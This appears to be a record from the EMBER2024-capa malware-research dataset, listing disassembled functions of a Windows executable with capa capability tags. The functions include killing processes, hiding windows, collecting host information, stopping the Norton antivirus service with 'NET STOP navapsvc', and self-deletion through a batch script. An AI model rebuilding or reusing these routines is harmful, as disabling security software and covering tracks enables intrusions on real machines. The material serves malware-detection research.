joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d564
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov eax, 0x5c9ac8
call fcn.00496be4
mov word [ebp - 0x14], 8
push 0xffffffffffffffff
call sub.KERNEL32.DLL_SetLastError
push 1
call sub.KERNEL32.DLL_SetErrorMode
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xffffffff
jne 0x40d5b3
mov al, 1
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d5e1
xor eax, eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d5e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d5e8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb10
mov eax, 0x5c9b4c
call fcn.00496be4
mov dl, 1
mov eax, dword [0x480f94]
call fcn.004035d0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax]
call dword [edx + 0x40]
mov word [ebp - 0x28], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 0x14
push 0
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x40], eax
push 2
push dword [ebp - 0x40]
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40d6f4
push 0x4b0
lea edx, [ebp - 0x4f0]
push edx
push dword [ebp - 0x40]
call sub.USER32.DLL_GetWindowTextA
push dword [ebp - 0x40]
call sub.USER32.DLL_IsWindowVisible
test eax, eax
jne 0x40d672
cmp byte [ebp + 0xc], 0
je 0x40d635
push 0x5c1e79
lea ecx, [ebp - 0x4f0]
push ecx
call fcn.00496800
add esp, 8
test eax, eax
je 0x40d635
push 0x5c1e7a
lea eax, [ebp - 0x4f0]
push eax
call fcn.00496800
add esp, 8
test eax, eax
je 0x40d635
push 0x5c1e8e
lea edx, [ebp - 0x4f0]
push edx
call fcn.00496800
add esp, 8
test eax, eax
je 0x40d635
mov word [ebp - 0x28], 0x20
lea edx, [ebp - 0x4f0]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x1c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
jmp 0x40d635
mov word [ebp - 0x28], 0x2c
lea eax, [ebp - 0xc]
call fcn.00401af8
mov edx, eax
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
je 0x40d757
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov dword [ebp - 0x10], edx
mov word [ebp - 0x28], 0x44
mov edx, 3
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x28], 0x38
mov word [ebp - 0x28], 0x50
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x28], 0x5c
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x28], 0x50
inc dword [ebp - 0x1c]
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40d79c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov eax, 0x5c9be4
call fcn.00496be4
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4524
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
mov word [ebp - 0x14], 0x14
lea eax, [ebp + 8]
call fcn.00401b28
push eax
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x14], 0x14
cmp dword [ebp - 0x2c], 0
jne 0x40d812
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d8ab
lea ecx, [ebp - 0x28]
push ecx
push dword [ebp - 0x2c]
call sub.USER32.DLL_GetWindowThreadProcessId
push 0
push dword [ebp - 0x28]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
test eax, eax
je 0x40d859
mov al, 1
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d8ab
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d8ab
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d8b4
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov eax, 0x5c9c14
call fcn.00496be4
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4524
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
lea eax, [ebp + 8]
call fcn.00401b28
push eax
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40d918
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d964
push 0
push dword [ebp - 0x28]
call sub.USER32.DLL_ShowWindow
test eax, eax
je 0x40d946
mov al, 1
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d964
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40dc88
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
mov eax, 0x5c9d38
call fcn.00496be4
mov dl, 1
mov eax, dword [0x480f94]
call fcn.004035d0
mov dword [ebp - 0x40], eax
mov word [ebp - 0x2c], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x20]
mov word [ebp - 0x2c], 0x14
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
call dword [edx + 0x40]
xor ecx, ecx
mov dword [ebp - 0x48], ecx
lea eax, [ebp - 0x1d8]
push eax
push 0x202
call sub.WSOCK32.DLL_WSAStartup
test eax, eax
jne 0x40dd87
push 0x40
lea edx, [ebp - 0x218]
push edx
call sub.WSOCK32.DLL_gethostname
test eax, eax
jne 0x40ddb7
lea ecx, [ebp - 0x218]
push ecx
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40ddb7
jmp 0x40dd76
mov eax, dword [ebp - 0x44]
movsx edx, word [eax + 0xa]
push edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x48]
push dword [eax + edx*4]
lea ecx, [ebp - 0x224]
push ecx
call fcn.0049665c
add esp, 0xc
mov word [ebp - 0x2c], 0x20
push dword [ebp - 0x224]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
inc dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x48]
cmp dword [eax + edx*4], 0
jne 0x40dd18
jmp 0x40ddb7
mov word [ebp - 0x2c], 0x2c
mov edx, 0x5c1ea1
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x2c], 0x38
lea eax, [ebp - 0x10]
call fcn.00401af8
mov edx, eax
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
call sub.WSOCK32.DLL_WSACleanup
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40de1f
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov dword [ebp - 0x14], edx
mov word [ebp - 0x2c], 0x50
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x44
mov word [ebp - 0x2c], 0x5c
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x2c], 0x68
push eax
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x2c], 0x5c
inc dword [ebp - 0x20]
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40de64
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff50
mov eax, 0x5c9e18
call fcn.00496be4
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 4
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x38], eax
push 4
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
xor edx, edx
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x44], eax
push 8
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x48], eax
jmp 0x40df27
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
inc dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x40], edx
mov word [ebp - 0x20], 0x2c
lea edx, [ebp - 0x7c]
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xb0]
push ecx
push dword [ebp - 0x40]
push dword [ebp - 0x38]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x44]
push reloc.WSOCK32.DLL_closesocket
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
je 0x40dee1
mov word [ebp - 0x20], 0x38
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x44
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x38
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40e590
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5ca094
call fcn.00496be4
push 0x104
lea edx, [ebp - 0x130]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
test eax, eax
je 0x40e609
mov word [ebp - 0x1c], 8
lea eax, [ebp - 4]
mov dl, byte [ebp - 0x130]
call fcn.004a45bc
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x14
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
jmp 0x40e658
mov word [ebp - 0x1c], 0x20
mov edx, 0x5c1ecd
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x2c
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x1c], 0x20
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e65c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
mov eax, 0x5ca154
call fcn.00496be4
mov dword [ebp - 0x14], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4524
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
mov word [ebp - 0x20], 0x14
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x228]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
lea eax, [ebp + 0xc]
call fcn.00401b28
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40e73c
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
xor edx, edx
call fcn.004a4608
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40e7cc
mov word [ebp - 0x20], 0x38
mov ecx, dword [ebp - 0x34]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
push dword [edx]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.004a44ec
mov edx, eax
inc dword [ebp - 0x14]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x44
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x50
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x44
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e7d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
push ebx
push esi
push edi
mov eax, 0x5ca220
call fcn.00496be4
mov dword [ebp - 0xd4], 0x94
lea edx, [ebp - 0xd4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x40e971
cmp dword [ebp - 0xc4], 2
jne 0x40e971
mov dl, 1
mov eax, dword [0x451018]
call fcn.00451118
mov dword [ebp - 0x40], eax
mov word [ebp - 0x2c], 8
mov word [ebp - 0x2c], 0x14
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x40]
call fcn.004a4458
mov word [ebp - 0x2c], 0x20
mov edx, str.SYSTEMControlSet001Services_navapsvc
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.004512fc
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x2c], 0x2c
mov edx, 0x5c1ef6
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.004518cc
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
mov eax, dword [ebp - 0x40]
call fcn.00451188
mov word [ebp - 0x2c], 0x38
mov edx, str.SYSTEMCurrentControlSetServices_navapsvc
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.004512fc
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x2c], 0x44
mov edx, 0x5c1f27
lea eax, [ebp - 0x10]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.004518cc
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
mov eax, dword [ebp - 0x40]
call fcn.00451188
mov word [ebp - 0x2c], 8
jmp 0x40e92a
push 0
push str.NET_STOP_navapsvc
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x2c], 0
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40e969
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x2c], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x50
cmp word [ebp - 0x2a], 0
je 0x40e971
ret
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov edi, dword [ebp - 0xe0]
mov esi, dword [ebp - 0xdc]
mov ebx, dword [ebp - 0xd8]
mov esp, ebp
pop ebp
ret
Function at 0x40ec74
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
mov eax, 0x5ca3e4
call fcn.00496be4
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 0
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
push 2
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40ed71
push 0x1f4
lea ecx, [ebp - 0x230]
push ecx
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindowTextA
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x230]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x20], 0x2c
lea eax, [ebp - 0xc]
mov edx, dword [ebp + 8]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.004a4774
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
pop ecx
test cl, cl
je 0x40ed61
mov al, 1
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40ed8f
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xc8
jl 0x40ecaf
xor eax, eax
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40ed94
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 6
push dword [ebp + 8]
call sub.KERNEL32.DLL_SetFileAttributesA
pop ebp
ret

Function at 0x40eda4
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcec
mov byte [ebp - 1], 0x22
mov byte [ebp - 2], 0x25
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x210]
push ecx
call fcn.0049684c
add esp, 8
push 0x100
lea eax, [ebp - 0x314]
push eax
lea edx, [ebp - 0x210]
push edx
call sub.KERNEL32.DLL_GetShortPathNameA
push 0x5c1fdd
push str..bat
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00496770
add esp, 8
push eax
call fcn.00498694
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x40ee9d
push 0x5c1fdf
push dword [ebp - 8]
call fcn.004986c8
add esp, 8
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.del__c_s_c_n
push dword [ebp - 8]
call fcn.004986c8
add esp, 0x14
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.if_exist___c_s_c_goto_1_n
push dword [ebp - 8]
call fcn.004986c8
add esp, 0x14
movsx edx, byte [ebp - 2]
push edx
push str.del__c0_n
push dword [ebp - 8]
call fcn.004986c8
add esp, 0xc
push dword [ebp - 8]
call fcn.0049832c
pop ecx
push 0
lea ecx, [ebp - 0x10c]
push ecx
call sub.KERNEL32.DLL_WinExec
mov esp, ebp
pop ebp
ret
Function at 0x40fe60
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
mov eax, 0x5cabfc
call fcn.00496be4
lea edx, [ebp - 0x220]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
push 0x64
lea ecx, [ebp - 0x90]
push ecx
call sub.WSOCK32.DLL_gethostname
lea eax, [ebp - 0x90]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x2c], eax
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x18], 8
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0xc]
mov eax, dword [ecx]
push dword [eax]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.004a44ec
mov edx, eax
inc dword [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x14
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x18], 8
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x4101d8
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
mov eax, 0x5cadc8
call fcn.00496be4
mov dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x48]
push ecx
call sub.KERNEL32.DLL_GetComputerNameA
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x41027a
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x48]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0x14]
call fcn.00410058
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4102c9
mov word [ebp - 0x20], 0x20
mov edx, 0x5c22d7
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4102d0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5cae64
call fcn.00496be4
mov dword [ebp - 0x34], 0xfa
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x130]
push ecx
call sub.ADVAPI32.DLL_GetUserNameA
test eax, eax
setne al
and eax, 1
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x410383
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0x14]
call fcn.00410058
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4103d2
mov word [ebp - 0x20], 0x20
mov edx, 0x5c22de
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret